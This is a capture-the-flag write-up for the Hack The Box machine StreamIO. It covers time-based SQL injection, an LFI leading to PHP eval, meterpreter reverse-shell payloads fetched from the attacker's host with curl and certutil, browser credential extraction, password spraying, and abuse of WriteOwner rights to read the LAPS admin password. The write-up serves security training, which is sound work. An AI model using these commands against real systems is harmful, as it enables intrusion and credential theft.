githubEdit

StreamIO

Summary

This machine is labeled "medium," but it was much harder for me than Talkativearrow-up-right, which is a "hard" machine, because of a heavy amount of enumeration and a Windows privilege escalation technique I was not aware of previously.

Nmap shows two virtual hosts from an SSL certificate: streamIO.htb and watch.streamIO.htb. After a lot of directory bruteforcing, we find an admin directory (https://streamio.htb/admin), a php file that can only be used with includes (https://streamio.htb/admin/master.php), and a search page (https://watch.streamio.htb/search.php). sqlmaparrow-up-right reveals that both the username field to login to https://streamio.htb and the search bar on the search page are vulnerable to "Microsoft SQL Server/Sybase stacked queries (comment)." This is a time-based injection. We slowly map out the databases and tables and then dump the users table over the course of more than 5 hours (time-based injection can only get about 1 character every 2-6 seconds). Using CrackStationarrow-up-right, we crack several passwords and find credentials that log us into https://streamio.htb.

Once signed in, we have access to the previous found admin page. We fuzz URL parameters and find a debug parameter. Then, we fuzz values for the debug parameter and discover it is vulnerable to LFI. We use PHP filter URIs to get the contents of index.php and the previously fuzzed master.php. This gives us the password for the db_admin user, which we will use later. Setting the debug GET parameter of index.php to master.php means we can load functionality in master.php, which just so happens to get the file contents of the POST parameter include and pass it to eval. Therefore, we get a Meterpreter reverse shell by loading a file via HTTP from our machine that downloads and runs a Metasploit reverse shell payload via a call to PHP's system function.

Once on the box, we use WinPEASarrow-up-right and realize that MS SQL is running on port 1433. We forward that port to our attacker machine using the Meterpreter's portfwd function. Then, we use impacketarrow-up-right's mssqlclient.pyarrow-up-right to connect to the database using the previously found credentials and we dump the tables we were unable to dump before. This gives us a crackable hash of nikk37's password. Then, we use evil-winrmarrow-up-right to authenticate as nikk37.

Once we've moved laterally to the nikk37 user, we run WinPEASarrow-up-right again and find a Firefox credential database. We extract the credentials using firepwdarrow-up-right. Then, we use crackmapexecarrow-up-right to check if any credentials we have are valid. We have valid credentials for the JDgodd user.

We cannot connect remotely as JDgodd. So, we scan the machine using SharpHoundarrow-up-right and BloodHoundarrow-up-right. We learn that the JDgodd user has WriteOwner permissions on the CORE_STAFF group, and that group has the ability to read the LAPS password. So, from nikk37's shell we use JDgodd's credentials to 1) make JDgodd the owner of CORE_STAFF, 2) give JDgodd all permissions on CORE_STAFF (since he is the owner), and 3) make JDgodd a member of CORE_STAFF. Finally, we simply read the LAPS password with JDgodd's credentials and using evil-winrm to authenticate as the Administrator.

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.158 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.158.

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-07-29 08:59:58Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| tls-alpn:
|_  http/1.1
|_ssl-date: 2022-07-29T09:01:27+00:00; +6h59m52s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
50127/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-07-29T09:00:51
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m52s, deviation: 0s, median: 6h59m51s

Let's add the streamIO.htb and watch.streamIO.htb domains (found in the SSL cert from nmap) to /etc/hosts: echo "10.10.11.158 streamIO.htb\n10.10.11.158 watch.streamIO.htb" | sudo tee -a /etc/hosts.

Virtual Host Scanning

Now that we know the domain name, we can scan for other virtual hosts. Let's scan for subdomains with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u https://streamio.htb/ -H "Host: FUZZ.streamio.htb" -fs 703:

This only finds the other virtual host we already knew about.

Directory bruteforcing

Bruteforcing for directories on streamIO.htb port 80 via ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://streamio.htb/FUZZ reveals nothing. Nothing is found on http://watch.streamIO.htb either.

Navigating to the pages themselves just shows a default Windows Server page. However, going to the https versions on port 443 shows valid webpages.

https://streamIO.htb:

https://watch.streamIO.htb:

Let's scan the https versions for directories.

Interestingly, the found /admin directory on streamio.htb simply shows FORBIDDEN when loaded. No other important directories are found though.

We can also scan for php files since we have seen the php extension while browsing the site:

The https://watch.streamio.htb/search.php page is interesting:

Let's look back at that /admin directory. The fact that a directory says "FORBIDDEN" instead of the usual 404 page is strange, so let's fuzz for files in the /admin directory by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/admin/FUZZ.php:

The https://streamio.htb/admin/master.php page is new:

SQL Injection

On https://streamio.htb we can register, so let's do that and create an account:

Clicking the login link at the bottom of the sign up page causes a redirect to https://streamio.htb/user-login.html, which 404s. Going to the login page on the home page (https://streamio.htb/login.php) works and we attempt to sign in, but we are told "Login failed." So, there is probably some issue with the login logic. Let's see if it is vulnerable to SQL injection with sqlmaparrow-up-right (very helpful documentationarrow-up-right, HackTricks pagearrow-up-right).

Run sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent:

So, the username parameter is injectable. Let's list the tables in each database by running sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent --tables:

I kill the command after many minutes because this is a time-based exploit so each character takes about 2-3 seconds to come through.

Note that we cannot access the streamio_backup database. Trying to run sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D streamio_backup --tables --batch errors out with [CRITICAL] unable to retrieve the tables for any database.

Importantly, the STREAMIO database has two tables: movies and users. Let's try to get some user credentials. First, let's retrieve the columns using sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users --columns:

Now, we can grab a user from the users table in the STREAMIO database. Since is_staff is a bit, let's get all the user's usernames and passwords where is_staff=1 by running sqlmap -u https://streamio.htb/login.php --data username=a\&password=a -p username --random-agent -D STREAMIO -T users -C id,is_staff,password,username --where "is_staff=1" --dump. This command just continuously outputs [23:49:35] [INFO] retrieved: without any data. However, sqlmap suggested the following:

Sure enough, rerunning with --force-pivoting seems to fix the problem:

This attack takes a long time. We can crack Thane's password hash using CrackStationarrow-up-right, but signing in as this user doesn't work. There are multiple users so we could try them all, but the SQL injection is going to take a long time. Since it will take a long time we run with --level 5 --risk 3 to scan for potential other methods:

However, we only get time-based methods so that's unfortunate. Additionally, the search parameter on https://watch.streamio.htb/search.php is also injectable, but it too is a time-based injection:

We will use this StackOverflow answerarrow-up-right to automatically run the command again if it fails:

As you can see, this takes 5 hours, 32 minutes, and 13 seconds to run, so there is likely a faster way. Cracking the passwords with CrackStationarrow-up-right finds the following (user's not shown could not be cracked with CrackStation):

Username
Hash
Password

Thane

3577c47eb1e12c8ba021611e1280753c

highschoolmusical

Barry

54c88b2dbd7b1a84012fabc1a4c73415

$hadoW

Michelle

b83439b16f844bd6ffe35c02fe21b3c0

!?Love?!123

Victoria

b22abb47a02b52d5dfa27fb0b534f693

!5psycho8!

Clara

ef8f3d30a856cf166fb8215aca93e9ff

%$clara

Lenord

ee0b8a0937abd60c2882eacb2f8dc49f

physics69i

Juliette

6dcd87740abb64edfa36d170f0d5450d

$3xybitch

Bruno

2a4e2cf22dd8fcb45adcb91be1e22ae8

$monique$1991$

yoshihide

b779ba15cedfd22a023c4d8bcf5f2332

66boysandgirls..

Lauren

08344b85b329d7efd611b7a7743e8a09

##123a8j8w5123##

Sabrina

f87d3c0d6c8fd686aacc6627f1f493a5

!!sabrina$

Out of these, the only login that works is yoshihide:66boysandgirls...

Admin Panel

We are redirected to the home page, but since we know the adddress of the admin page (https://streamio.htb/admin/index.php), let's go there:

Clicking the links at the top changes parameter in the URL. For instance, in the screenshot above, the URL is https://streamio.htb/admin/index.php?staff= for the staff list. For "Movie management" the URL is https://streamio.htb/admin/index.php?movie= and for "User management" the URL is https://streamio.htb/admin/index.php?user=.

Let's fuzz this parameter by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/admin/index.php\?FUZZ\= -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -fs 1678. We are specifying the PHPSESSID cookie because we need an authenticated session to access the admin page.

Going to https://streamio.htb/admin/index.php?debug= says "this option is for developers only." We fuzz for a LFI exploit by running ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -u https://streamio.htb/admin/index.php\?debug\=FUZZ -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -fs 1712:

So, we found an LFI exploit on a URL parameter in a PHP application. We can use PHP filter URIs to get file contents by running https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php (we know of master.php from fuzzing earlier, more info from HackTricks about PHP filtersarrow-up-right). Then, just base64 decode the data:

Let's also get the index.php file by running https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php:

We get some credentials to the STREAMIO database: db_admin:B1@hx31234567890.

Foothold

Importantly, the index.php script sets included to true (define('included',true);), which means if we set the debug GET parameter to master.php it will not die immediately since the !defined('included') check will pass.

master.php has the below code:

It will execute the contents of the file path (file_get_contents documentationarrow-up-right) passed in through a POST parameter called include... as long as the included variable is true, which it will be if index.php excutes before master.php. So, if we POST to https://streamio.htb/admin/index.php?debug=master.php we can specify an include with a file path to execute. By the way, making a POST request with GET parametersarrow-up-right is okay.

file_get_contents can make a web request according to the documentation:

So, let's start a webserver with python -m http.server 8000 and create a file called exploit with the contents echo(system("dir"));. Then, we can make the POST request with curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.php | grep "<input name=\"include\" hidden>" -A 9999:

We get a directory listing! We can execute commands!

We will use Metasploit to get a reverse shell (other reverse shell optionsarrow-up-right). Create PHP payload by running msfvenom -p php/meterpreter_reverse_tcp LHOST=tun0 LPORT=38121 -f raw > shell.php.

Then, run the following commands to start the Metasploit listener:

Next, start the webserver with python -m http.server 8000 so PHP can download our shell.php file. Finally, run the POST request with curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/shell.php" https://streamio.htb/admin/index.php\?debug\=master.php. When the POST request is sent, PHP will read the contents of http://10.10.14.98:8000/shell.php and run eval on them, giving us a meterpreter session.

You can switch back to the Metasploit shell by running background and then switch back to the meterpreter using sessions -i 1.

This shell keeps crashing, so are going to try a different method. Create a meterpreter executable with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.98 LPORT=38122 -f exe > exploit.exe. Then, in our exploit file paste in system("certutil.exe -urlcache -f http://10.10.14.98:8000/exploit.exe C:\\windows\\temp\\exploit.exe");, which is a command that will download our newly create meterpreter exploit.exe. Then, send off a POST request with curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.php:

Now, we just need to execute that program. So, edit the exploit file again and replace its contents with system("C:\\windows\\temp\\exploit.exe"); to run the program. Make sure the webserver is still running (python -m http.server 8000). Start a Metasploit listener by running the following commands:

Then, send the POST request again: curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.ph.

Ger persistance by running the following:

This will output the following:

We need higher privileges so maybe we can do this later.

Upload WinPEASarrow-up-right with upload tools/winPEASx64.exe. Create a shell with shell in the meterpreter and then type winPEASx64.exe log to run WinPEAS. The log option redirects all output to out.txt, which is useful since it winPEAS will print 10,000+ lines of output in this scenario. You can download the report by running download out.txt form the meterpreter (exit the shell first by running exit): winpeas_report_yoshihide.txtarrow-up-right. Read the report with less -r winpeas_report_yoshihide.txt.

We got some information about other users:

From the "Current TCP Listening Ports" we can figure out that the SQL server port is 1433:

We got some credentials for the database from dumping the source of the website: db_admin:B1@hx31234567890. Let's try to authenticate to the database with those credentials and see if we can find anything. HackTricksarrow-up-right has information about enumerating MS SQL if you have credentials.

In the meterpreter session we can forward the port to our attacker machine with portfwd add -l 1433 -p 1433 -r localhost.

Then, we ca try one of the methods from HackTricksarrow-up-right for connecting to the database. I first tried sqsh -S localhost -U db_admin -P B1@hx31234567890 -D streamio_backup, which worked but it seemed complicated. So, I tried sqlmap -d mssql://db_admin:B1@hx31234567890@localhost:1433/streamio_backup --dump, which couldn't deal with the @ in the password. I ended up using impacketarrow-up-right's mssqlclient.pyarrow-up-right.

This gives us a new user, nikk37, and their hash, 389d14cb8e4e9b94b137deb1caf0612a. Putting this into CrackStationarrow-up-right gives us a password of [email protected].

Trying those credentials with evil-winrmarrow-up-right works: evil-winrm -u nikk37 -p [email protected] -i streamio.htb

We can now run cat C:\Users\nikk37\Desktop\user.txt and finally get the user.txt flag.

Lateral Movement

Upload WinPEAS with upload tools/winPEASx64.exe in evil-winrm and then run it with .\winPEASx64.exe log. Download the output with download out.txt: winpeas_report_nikk37.txtarrow-up-right. Read the report with less -r winpeas_report_nikk37.txt.

We get some good output:

Running the suggested tool, SharpWebarrow-up-right finding nothing:

Researching other tools finds unode/firefox_decryptarrow-up-right and lclevy/firepwdarrow-up-right. We'll use firepwd since it doesn't need the entire Firefox profile.

Download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db and C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json to the same directory as firepwn and then run python firepwd.py:

We have several new credentials and a new virtual host. Let's add the slack.streamio.htb domain to /etc/hosts: echo "10.10.11.158 slack.streamio.htb" | sudo tee -a /etc/hosts.

Let's fuzz for directories: ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://slack.streamio.htb/FUZZ, which finds nothing. Checking for php files also finds nothing.

We can check if we have a valid set of credentials by putting our current usernames (JDgodd, Martin, nikk37) in a file called users.txt and passwords in a file called passwords.txt, and then running crackmapexec smb streamio.htb -u users.txt -p passwords.txt (relevant documentationarrow-up-right, GitHub repoarrow-up-right):

So, we know that JDgodd:JDg0dd1s@d0p3cr3@t0r is a valid login, but it won't work with evil-winrm.

Privilege Escalation

Let's scan the machine using BloodHoundarrow-up-right: "BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify."

BloodHound only analyzes data though. We need to use SharpHoundarrow-up-right (downloadarrow-up-right) to collect data. There are other data collectors but SharpHound is the only officially support collector.

Upload SharpHound.exe and run it:

To get BloodHound setup, you can follow this guidearrow-up-right. Then, just download the zip file (20220729233606_BloodHound.ziparrow-up-right) from the machine and drag and drop it onto the BloodHound interface. Then, on the Analysis tab, choose "Shortest Paths to High Value Targets."

The important part is this region:

From this graph, we can see that the JDgodd user has WriteOwner permissions on the CORE_STAFF group, and that group has the ability to read the LAPS password.

According to HackTricksarrow-up-right, "LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES."

According to HackTrick's Active Directory Methodologyarrow-up-right, "Some of the Active Directory object permissions and types that we as attackers are interested in: WriteOwner - change object owner to attacker controlled user take over the object." This pagearrow-up-right is also helpful: "Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc). The WriteOwner permission can be abused by an attacker to change the object owner to an attacker controlled user and take over the object."

Additionally, according to this article about WriteOwnerarrow-up-right, "The Source security principal has the permission to change the owner of the Target object, including assigning themselves as the owner. Owners have implicit rights, "Read Control" and "Write DACL", that allow them to obtain additional rights for themselves or for someone else, and ultimately compromise the Target object."

So, the attack idea is to add JDgodd to the CORE_STAFF using the JDgodd user, since he owns that group but is not yet a member of it. Once JDgodd is in the CORE_STAFF group, they will be able to read the LAPS password and we can use that to get Administrator.

We will use PowerViewarrow-up-right to simplify the commands. Upload it to the target and import it with Import-Module .\PowerView.ps1. We follow this guidearrow-up-right to create the PSCredential object. Documentation for commands: Add-DomainObjectAclarrow-up-right, Add-DomainGroupMemberarrow-up-right, and Get-ADComputerarrow-up-right.

(By the way, the last command is from my Timelapse machine writeup)

This produces the following:

With the local Administrator password c5LUR48;CYA8Y1, we can use evil-winrm to connect as the Adminstrator: evil-winrm -u Administrator -p "c5LUR48;CYA8Y1" -i streamio.htb.

The root.txt flag is not located at C:\Users\Administrator\Desktop\root.txt, but we remember from before that there is another admin called Martin. Sure enough we get the root.txt flag with cat C:\Users\Martin\Desktop\root.txt.

Last updated